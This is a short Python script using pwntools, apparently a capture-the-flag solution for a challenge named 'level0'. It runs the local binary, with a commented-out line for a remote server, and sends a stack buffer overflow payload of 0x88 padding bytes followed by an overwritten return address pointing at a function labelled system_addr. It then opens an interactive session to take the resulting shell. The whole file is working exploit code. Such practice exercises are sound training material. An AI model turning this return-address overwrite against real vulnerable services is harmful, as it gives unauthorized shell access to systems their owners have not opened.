05_level0

from pwn import*

context.log_level = 'debug'
p =process('./level0')
##elf = ELF('libc.so.6')
#p =remote("111.198.29.45","31256")

system_addr =0x400596
##bin_sh_addr = 0x400684 


payload = 'A'*0x88
payload += p64(system_addr)
##payload += p64()




p.sendline(payload)
p.interactive()